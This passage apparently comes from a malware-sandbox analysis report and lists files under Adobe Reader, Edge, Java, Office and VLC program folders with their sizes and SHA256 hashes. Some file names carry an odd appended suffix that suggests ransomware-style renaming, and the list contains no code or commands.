            bun.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\bun.png
            • Size 2KB
            • SHA256 7d63564e9d0494e8d87ebfd590cdec397979a7fe6c9269beed49e6240227bf8e
            • MD5 SHA1 SHA512 TLSH

            dd_arrow_small2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\dd_arrow_small2x.png
            • Size 400B
            • SHA256 0c9651d41e958449f861fabb7226e0768250e6a23a53e1fa8bcf2d85ace83864
            • MD5 SHA1 SHA512 TLSH

            nub.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\nub.png
            • Size 1008B
            • SHA256 ca8fc20fb449cce8c3e2bae2d5d6a6982868ce445358c09519096171e5da3a69
            • MD5 SHA1 SHA512 TLSH

            share_icons.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\share_icons.png
            • Size 1KB
            • SHA256 3c4d535d62c516621cee4fcb140cec8657cd7f88f4100b25c261c994832f19b1
            • MD5 SHA1 SHA512 TLSH

            adc_logo.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adc_logo.png
            • Size 3KB
            • SHA256 602edf98b4818b5bb154f5a8dfd4bd5e4c63c72fd1e37be7089dc5ed688a0b62
            • MD5 SHA1 SHA512 TLSH

            adc_logo.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adc_logo.png
            • Size 3KB
            • SHA256 3cce81a8b40d13b918b91719f08d5ee26cc5a44d78163bd7c6edfddf13b8097c
            • MD5 SHA1 SHA512 TLSH

            adobe_spinner.gif

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adobe_spinner.gif
            • Size 560B
            • SHA256 e13d9bedd159bdf6a4e6badd7401c193e4276f939e758969a6c4449bec818d93
            • MD5 SHA1 SHA512 TLSH

            logo_retina.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\logo_retina.png
            • Size 6KB
            • SHA256 3b337c337d101e2cd2c7574843e118706df29a08c8a2f930106b3b4bde6d3561
            • MD5 SHA1 SHA512 SSDEEP TLSH

            download-btn.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\download-btn.png.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain
            • Size 1KB
            • SHA256 e2888ace09fc4d3bb3c1e910c0cabe91bdafd5858f43c3b8bc80fe3f8585258f
            • MD5 SHA1 SHA512 TLSH

            logo_retina.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\logo_retina.png
            • Size 6KB
            • SHA256 d15a0113a1ed24977f986732e4b966e7fc8d0333833a34733171333322066f68
            • MD5 SHA1 SHA512 SSDEEP TLSH

            cstm_brand_preview.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview.png
            • Size 2KB
            • SHA256 e3788b7f6bedac26b0530bc2bc07b39dc6daac5a93463c632eee343c538b7497
            • MD5 SHA1 SHA512 TLSH

            dd_arrow_small.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small.png
            • Size 304B
            • SHA256 69febb6d838a49581b287e1a93d4dca709ceb7b58d92cc2af5492e45dfb62940
            • MD5 SHA1 SHA512 TLSH

            dd_arrow_small2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small2x.png
            • Size 400B
            • SHA256 433527339681f2164f516579c8e086a74d6017fa8bf748571e68f24827131fe4
            • MD5 SHA1 SHA512 TLSH

            sat_logo.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo.png
            • Size 832B
            • SHA256 e304a6dc115a44092253c11fe9794b7a4bd7078aa77140513c250e886322c41e
            • MD5 SHA1 SHA512 TLSH

            sat_logo.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo.png
            • Size 832B
            • SHA256 4c1f5261c26ebe8aacbbcab0002f28482ec8fb380b7cd1c697fd164aec2083ff
            • MD5 SHA1 SHA512 TLSH

            sat_logo_2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo_2x.png
            • Size 1KB
            • SHA256 f973944d7b072cf9131b16c918cb5b2a3e2eb2aee0b57d567396a9f7f5c14c65
            • MD5 SHA1 SHA512 TLSH

            SearchEmail2x.png

            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\SearchEmail2x.png
            • Size 1KB
            • SHA256 2c61021cafede1c86f9261e2f2c4f03bb3e0b3221a7e406c2faf275e3739cba9
            • MD5 SHA1 SHA512 TLSH

            DisplayLanguageNames.en_GB_EURO.txt

            • Path C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt
            • Size 32KB
            • SHA256 2772a5d40058271056d6e68374ae93425e69b8dd55d4d59d297cb53edecaf7f4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            DisplayLanguageNames.en_GB_EURO.txt

            • Path C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt
            • Size 32KB
            • SHA256 09dee73f13d1b865d057e931061b2e50878a6043bd28eeb47ad0330e223ff205
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata

            • Path C:\Program Files (x86)\Google\GoogleUpdater\141.0.7340.0\Crashpad\metadata
            • Size 16B
            • SHA256 547748026d2d3efe9e475c0a6d35bb87e293bbb8b9d8d969ec216b4a813c1672
            • MD5 SHA1 SHA512

            metadata

            • Path C:\Program Files (x86)\Google\GoogleUpdater\141.0.7340.0\Crashpad\metadata
            • Size 16B
            • SHA256 1c3fa1cff74a12898d6a29f997546da85e439eecf64f0c62722d9fa219d17d23
            • MD5 SHA1 SHA512

            Edge.dat

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Edge.dat
            • Size 12KB
            • SHA256 d6f95cdde75ebf222d669cb20ec4d3b8867c00d7623b4a0b8e6c34c98fc5a07a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            EdgeWebView.dat

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\EdgeWebView.dat
            • Size 8KB
            • SHA256 46ea0bd71f992f50938a13a50971a211decc5ad0fb0a242c2142d61e7f0cb79c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Analytics

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\Analytics
            • Size 4KB
            • SHA256 e0450495febdb61cb845ea2af07bdedcc61316eebc681c2fdb34c6a78d2e3080
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CompatExceptions

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\CompatExceptions
            • Size 704B
            • SHA256 47032a958f3177d8fc274ea8d07d9a834d3cf6ea49c8ecfa37aea564a38a1ce3
            • MD5 SHA1 SHA512 TLSH

            Cryptomining

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\Cryptomining
            • Size 1KB
            • SHA256 1934b66cc170b7fb4d19c217d4255d8e089aebf54ea0426f835875d867ce31e4
            • MD5 SHA1 SHA512 TLSH

            Fingerprinting

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\Fingerprinting
            • Size 1KB
            • SHA256 c95fe993454188576f6db9bf4cc957404fff29f50916981670d95ff7a7bdf179
            • MD5 SHA1 SHA512 TLSH

            LICENSE

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\LICENSE
            • Size 34KB
            • SHA256 3b0399d701d62d2deda08c577a7e3870c5f9feeaecc9580b9b3a09edcf33ffb4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Other

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\Other
            • Size 48B
            • SHA256 07088fef09aa03567931a235ff78c03228ed380f2fb12dee16c638cc2325497a
            • MD5 SHA1 SHA512

            Social

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\Social
            • Size 368B
            • SHA256 e3f023663b20f5c338e8a9f8c82e45a457a97c549492d6945de67ad19df371c6
            • MD5 SHA1 SHA512 TLSH

            TransparentAdvertisers

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Mu\TransparentAdvertisers
            • Size 112B
            • SHA256 561d4499fabeb7da0ba1a13462e2af4f5c5f7b8016b723fe3028126091949321
            • MD5 SHA1 SHA512 TLSH

            Cryptomining

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Sigma\Cryptomining
            • Size 48B
            • SHA256 7ba9160ee4ea00f53de27f400d4c3d694729c58dbc003a79346a3cd7dd003b50
            • MD5 SHA1 SHA512

            Fingerprinting

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Sigma\Fingerprinting
            • Size 176B
            • SHA256 a0230dd934f6a559da16c4d55d01f1f415b8d6f897befcf7bc89ed06d0bd54e9
            • MD5 SHA1 SHA512 TLSH

            LICENSE

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Trust Protection Lists\Sigma\LICENSE
            • Size 80B
            • SHA256 5174a2c9bf7f7315eb5ec0be1de212caebfffaedcbb4e4c86a1db051f050182e
            • MD5 SHA1 SHA512 TLSH

            Logo.png

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\Logo.png
            • Size 31KB
            • SHA256 d64bf9e211766ca428bcab21cd9bfdd32952aaa2fc73542f52cf2d0c10addd87
            • MD5 SHA1 SHA512 SSDEEP TLSH

            LogoBeta.png

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\LogoBeta.png
            • Size 29KB
            • SHA256 d3930ec3d5e4fe825fdc615def693fce59e41aead18090fcbad45abfff2abb6c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            LogoCanary.png

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\LogoCanary.png
            • Size 29KB
            • SHA256 6c5812d8f8aa3df5f55ee12d8ba7d4994bd45a4990e510ea895121df44df9bfa
            • MD5 SHA1 SHA512 SSDEEP TLSH

            LogoDev.png

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\LogoDev.png
            • Size 29KB
            • SHA256 7a9555dc0e875a836d1d17176a33ca685b080395e79850c0616dae6d284725e3
            • MD5 SHA1 SHA512 SSDEEP TLSH

            SmallLogo.png

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\SmallLogo.png
            • Size 15KB
            • SHA256 14ab2db8345b548b44424ccecb0d1011826879b2187b8dd5b3cf7ccca9b67f1c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            SmallLogoBeta.png

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\SmallLogoBeta.png
            • Size 14KB
            • SHA256 9bf6c2c92a662cb17fb9f5dbd2b3f87db23569d7344bfa350fc32d656b863e31
            • MD5 SHA1 SHA512 SSDEEP TLSH

            SmallLogoCanary.png

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\SmallLogoCanary.png
            • Size 14KB
            • SHA256 ac31d916ea3fa5e043a72a9ac1feeb03c68793be7257b9fa435b34b01c4ca326
            • MD5 SHA1 SHA512 SSDEEP TLSH

            SmallLogoDev.png

            • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\VisualElements\SmallLogoDev.png
            • Size 14KB
            • SHA256 e06a65c7093d0291d22a49e676dad6c6b682eb356816eeb0f87aabe44d31ab93
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Analytics

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Mu\Analytics
            • Size 4KB
            • SHA256 b630c22ae1e2e2c98904f8b2d94b0f770ade91ec756689e917e7e48f2092b957
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Cryptomining.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Mu\Cryptomining.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain
            • Size 1KB
            • SHA256 9eed03860a1fc471ab7507d0bf93a01329d59f210f9d48d54d28803026451015
            • MD5 SHA1 SHA512 TLSH

            Social.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Mu\Social.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain
            • Size 384B
            • SHA256 4a92b6f5dd30b266444995357a616acb3bee5a237128016e8930917c7a989e01
            • MD5 SHA1 SHA512 TLSH

            TransparentAdvertisers.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Mu\TransparentAdvertisers.ا̘͜ل̬͓͖̘̜̀ͅف̹̙̖͈̣̀و̠͕͖̀ا̛̲ل̸̘̺ف̶̹و͚̖̗̙̝ض̨͇̮͓̠̠ͅى̹̗̯͡ض̢ى̳̬-aj219sj1Uain
            • Size 128B
            • SHA256 86331de1c2081da32614681e50b4747211dbb20148350b29ead1af514c8a24bc
            • MD5 SHA1 SHA512 TLSH

            LICENSE

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Sigma\LICENSE
            • Size 80B
            • SHA256 b2de5c4b7613ce8537316f69ee5d974d6053c9acd9f45c136a056f2a8635b153
            • MD5 SHA1 SHA512 TLSH

            LogoBeta.png

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\VisualElements\LogoBeta.png
            • Size 29KB
            • SHA256 4e75339ddda26c5364eba204dbaef1055109b13d192252ac95ddac183945f396
            • MD5 SHA1 SHA512 SSDEEP TLSH

            LogoDev.png

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\VisualElements\LogoDev.png
            • Size 29KB
            • SHA256 eff2e5b0b3a379fef4b61df3039cbaac638893c2d304abdac23588b5f4289d45
            • MD5 SHA1 SHA512 SSDEEP TLSH

            SmallLogoBeta.png

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\VisualElements\SmallLogoBeta.png
            • Size 14KB
            • SHA256 7100bac961bbec89014a4af0fa059317dca30226f4c9c8317e79e9ba03244cd9
            • MD5 SHA1 SHA512 SSDEEP TLSH

            SmallLogoCanary.png

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\VisualElements\SmallLogoCanary.png
            • Size 14KB
            • SHA256 4174f9a89d73ce2e81c261d2d7755de14be937c2a7cf457ffa25214ffb2461e2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            SmallLogoDev.png

            • Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\VisualElements\SmallLogoDev.png
            • Size 14KB
            • SHA256 16fc0ba83612af46b18dc3d05493eb082e17d7349bad89f53042b42080852f46
            • MD5 SHA1 SHA512 SSDEEP TLSH

            win32_LinkNoDrop32x32.gif

            • Path C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif
            • Size 160B
            • SHA256 c84808f319f583cfb2a74ceebab1a1aab3422fe951667facfdf58bd1e740a3a1
            • MD5 SHA1 SHA512 TLSH

            LICENSE

            • Path C:\Program Files\Java\jre-1.8\LICENSE
            • Size 48B
            • SHA256 046e6bd4a1df3af8ad8079dbeb3411d6ae73d381209dd059f148cda5ed3eb822
            • MD5 SHA1 SHA512

            THIRDPARTYLICENSEREADME.txt

            • Path C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME.txt
            • Size 192B
            • SHA256 e3b44d15d16dad7c952c8caa5c9725ef79871dd3419b14d266bb9b8916b1ba1b
            • MD5 SHA1 SHA512 TLSH

            directshow.md

            • Path C:\Program Files\Java\jre-1.8\legal\javafx\directshow.md
            • Size 1KB
            • SHA256 a8696fbe8e4e16400508e73cb0ade4beca85a9c95e28cc91bc86121778c4b640
            • MD5 SHA1 SHA512 TLSH

            glib.md

            • Path C:\Program Files\Java\jre-1.8\legal\javafx\glib.md
            • Size 31KB
            • SHA256 c3314a09e77d5aaff771b7ca7b42378ab829cf5417a8338bf3ecd13f3a051623
            • MD5 SHA1 SHA512 SSDEEP TLSH

            gstreamer.md

            • Path C:\Program Files\Java\jre-1.8\legal\javafx\gstreamer.md
            • Size 34KB
            • SHA256 49fbe0bfd55e8dc1c06082cd7203f8bcb57ff45d0e89c10e6bacf57120eb87db
            • MD5 SHA1 SHA512 SSDEEP TLSH

            icu_web.md

            • Path C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md
            • Size 23KB
            • SHA256 896cc1f7f323b7c97545a3b117ed185b7c5bb8f0a306690645b206bb712aa66c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            jpeg_fx.md

            • Path C:\Program Files\Java\jre-1.8\legal\javafx\jpeg_fx.md
            • Size 2KB
            • SHA256 cb1e76a5b1765ce2b963bc6a61fb2f3842efab72e8b50a7d130a2e98a98b36c9
            • MD5 SHA1 SHA512 TLSH

            libxml2.md

            • Path C:\Program Files\Java\jre-1.8\legal\javafx\libxml2.md
            • Size 3KB
            • SHA256 fb88c8a469b4974556446875d9a43fbc6a5e3c5f8c4013941fb8a4c449f91733
            • MD5 SHA1 SHA512 TLSH

            libxslt.md

            • Path C:\Program Files\Java\jre-1.8\legal\javafx\libxslt.md
            • Size 2KB
            • SHA256 e92f538ac4f17c1db728e19049a7604bfa4ff447308b74890ab2745f684f1fca
            • MD5 SHA1 SHA512 TLSH

            public_suffix.md

            • Path C:\Program Files\Java\jre-1.8\legal\javafx\public_suffix.md
            • Size 17KB
            • SHA256 97ca8c738f649ff78f7ad475e3e58109f42415ce5f6f4463db38916342c4136b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            webkit.md

            • Path C:\Program Files\Java\jre-1.8\legal\javafx\webkit.md
            • Size 320KB
            • SHA256 2100309acf1dfbdc9dc20c9f909907457ef900aa4eda1ca33cef3954e55f68d0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            bcel.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\bcel.md
            • Size 10KB
            • SHA256 0acf4d8b41ab128335492db5965e112098e5db8312627960914db93526ee4599
            • MD5 SHA1 SHA512 SSDEEP TLSH

            cldr.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\cldr.md
            • Size 3KB
            • SHA256 f0242b460a78417d5f3dd8e269d5a76d58c1693ed5c05eccfe53d9cdd2c1e5e9
            • MD5 SHA1 SHA512 TLSH

            colorimaging.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\colorimaging.md
            • Size 176B
            • SHA256 c35285c7d742efc235b2cf99fcf01203a4de081ffa190c5a566cf29b062700f0
            • MD5 SHA1 SHA512 TLSH

            dom.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\dom.md
            • Size 3KB
            • SHA256 8d75a12325bef006ea9c58fa52e0b8fbf9d48c2d1f69b9b1ad40ac0ad19b8c47
            • MD5 SHA1 SHA512 TLSH

            dynalink.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\dynalink.md
            • Size 1KB
            • SHA256 3ffcbac52f91fe86e2426534274a0e9dd76cb69fa877b5bb235d354137ae6abd
            • MD5 SHA1 SHA512 TLSH

            ecc.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\ecc.md
            • Size 28KB
            • SHA256 d5e7762b08ef22ce3595920253cc619922c547c82049a93e9c646b6a4af1771d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            giflib.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\giflib.md
            • Size 1KB
            • SHA256 10efff7fc7c863a3831105e4e1af240aa299cf491326b809098e7c1def735612
            • MD5 SHA1 SHA512 TLSH

            jcup.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\jcup.md
            • Size 1KB
            • SHA256 25ad36df56a516922cf78686e558ca5b0f38de3a2e5babbd0eb1e983edd14fc9
            • MD5 SHA1 SHA512 TLSH

            joni.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\joni.md
            • Size 1KB
            • SHA256 07feaa1552c89d726f8f0464133f0281a8cdc5dd231abc528cb19361ab4c03c2
            • MD5 SHA1 SHA512 TLSH

            jopt-simple.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\jopt-simple.md
            • Size 1KB
            • SHA256 cbdf8fce6c31bcf7820ab84a28098c5b28aa6fcaf47b0c93a04f716cf08554bc
            • MD5 SHA1 SHA512 TLSH

            jpeg.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\jpeg.md
            • Size 3KB
            • SHA256 cc7d9079da705e0e057a2c8a71dd36a3e026a11dfa620a4187051f007fc12c7d
            • MD5 SHA1 SHA512 TLSH

            lcms.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\lcms.md
            • Size 2KB
            • SHA256 86d8fd8a468b91ed32a03b562a273ba73b21a33751e2a441050369b951b883da
            • MD5 SHA1 SHA512 TLSH

            libpng.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md
            • Size 6KB
            • SHA256 d58d21c91c4461f5ec95343f54348855ad220df066d0ffe27c3e7b34904c6516
            • MD5 SHA1 SHA512 SSDEEP TLSH

            mesa3d.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\mesa3d.md
            • Size 5KB
            • SHA256 1931511d99bb9b5420d3f88902750b92ee5dc3abc759e8c52e2e8215314d3947
            • MD5 SHA1 SHA512 SSDEEP TLSH

            pkcs11cryptotoken.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11cryptotoken.md
            • Size 3KB
            • SHA256 9f1e6b02dde44ad36e1e563bb9e198d18eeb795296a55bbc4b4384718efcc945
            • MD5 SHA1 SHA512 TLSH

            pkcs11wrapper.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11wrapper.md
            • Size 2KB
            • SHA256 abd9d5723657eba89d0ca68bea6f87f813e1a9a47eadfd4d8af948224172e968
            • MD5 SHA1 SHA512 TLSH

            relaxngcc.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\relaxngcc.md
            • Size 2KB
            • SHA256 c5d14dd111f09f9b40789a806bfc99d847cd0473f15b4a5b0f73f4bdd452e5a2
            • MD5 SHA1 SHA512 TLSH

            relaxngdatatype.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\relaxngdatatype.md
            • Size 1KB
            • SHA256 424e460c6cfe292255bed6cd94517b99e324896c3256fe98a8e0c441d3a11ce6
            • MD5 SHA1 SHA512 TLSH

            relaxngom.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\relaxngom.md
            • Size 1KB
            • SHA256 a467d2de147f1926d88ee972af772a75ca48aa77b0808867114f022ef6c65185
            • MD5 SHA1 SHA512 TLSH

            santuario.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\santuario.md
            • Size 11KB
            • SHA256 fbb71afb1d7ad33e965a7efa4cd8098e6ecac814b524a067b2d3d0d644711b11
            • MD5 SHA1 SHA512 SSDEEP TLSH

            thaidict.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\thaidict.md
            • Size 1KB
            • SHA256 5c04dce1ffe6cd24563b0d1e803794e1b681917596aef486ed46561608f836cf
            • MD5 SHA1 SHA512 TLSH

            unicode.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\unicode.md
            • Size 2KB
            • SHA256 714d9ab853f2112609057ae1ed4c12fb9c3c767ac22dbfa8b10805f18e52881e
            • MD5 SHA1 SHA512 TLSH

            xalan.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\xalan.md
            • Size 11KB
            • SHA256 45f8afb0a252d5c3b25fff61b71c96d1dba827c031a4c17492db2da41b17b708
            • MD5 SHA1 SHA512 SSDEEP TLSH

            xerces.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\xerces.md
            • Size 11KB
            • SHA256 dd8b64af0411ef399520edceb2b75199ab6a04ab28b561a1047103913c682427
            • MD5 SHA1 SHA512 SSDEEP TLSH

            xmlresolver.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\xmlresolver.md
            • Size 11KB
            • SHA256 b6b29864f6594bda426d41e42c7ae1ecbd3bdff0a0c905ef7b896c145c0cba51
            • MD5 SHA1 SHA512 SSDEEP TLSH

            zlib.md

            • Path C:\Program Files\Java\jre-1.8\legal\jdk\zlib.md
            • Size 1024B
            • SHA256 f7d84aa71255bcc5ef28b0c6457bd4a4c4a331c69a0668aaf52d757558578897
            • MD5 SHA1 SHA512 TLSH

            win32_LinkNoDrop32x32.gif

            • Path C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkNoDrop32x32.gif
            • Size 160B
            • SHA256 fa6efdc65a41175df9be925bcde1fea2852e960f99f8fe20cdf78b352fce3f81
            • MD5 SHA1 SHA512 TLSH

            ClientSub2019_eula.txt

            • Path C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub2019_eula.txt
            • Size 48B
            • SHA256 b0616d70b7052f68697f281c5e03bc2677347e4281920102cbdcf5e91943a42a
            • MD5 SHA1 SHA512

            ClientSub2019_eula.txt

            • Path C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub2019_eula.txt
            • Size 48B
            • SHA256 c32988ed1bd4ba38d4f5f46ed03987741814a19fccc6edde10ff329ad6fc37c0
            • MD5 SHA1 SHA512

            TALK21.COM.XML

            • Path C:\Program Files\Microsoft Office\root\Office16\OutlookAutoDiscover\TALK21.COM.XML
            • Size 816B
            • SHA256 d8eda66352124c47cec126c96fac20af6b1f5769690f24c74eb4ace262b2831c
            • MD5 SHA1 SHA512 TLSH

            TALK21.COM.XML

            • Path C:\Program Files\Microsoft Office\root\Office16\OutlookAutoDiscover\TALK21.COM.XML
            • Size 816B
            • SHA256 28799fdc8d5928ae58a763c35a13bd82138b4daacec82645371c00fdb586f74b
            • MD5 SHA1 SHA512 TLSH

            YAHOO.COM.XML

            • Path C:\Program Files\Microsoft Office\root\Office16\OutlookAutoDiscover\YAHOO.COM.XML
            • Size 816B
            • SHA256 4cf3a3abe820185bb8a68b04158b838f998f7c72f9cc03ee0e9772434dd740dc
            • MD5 SHA1 SHA512 TLSH

            YAHOO.COM.XML

            • Path C:\Program Files\Microsoft Office\root\Office16\OutlookAutoDiscover\YAHOO.COM.XML
            • Size 816B
            • SHA256 06dcb86c0f057654ccf416802d2ccd46026c76ebe7bdaedb5362b57f26082502
            • MD5 SHA1 SHA512 TLSH

            vlc.mo

            • Path C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo
            • Size 584KB
            • SHA256 7ae39103872580c1ad25c533a68abb0ff497cede7cb60ac3d1e6f770a847ba82
            • MD5 SHA1 SHA512 SSDEEP TLSH

            vlc.mo

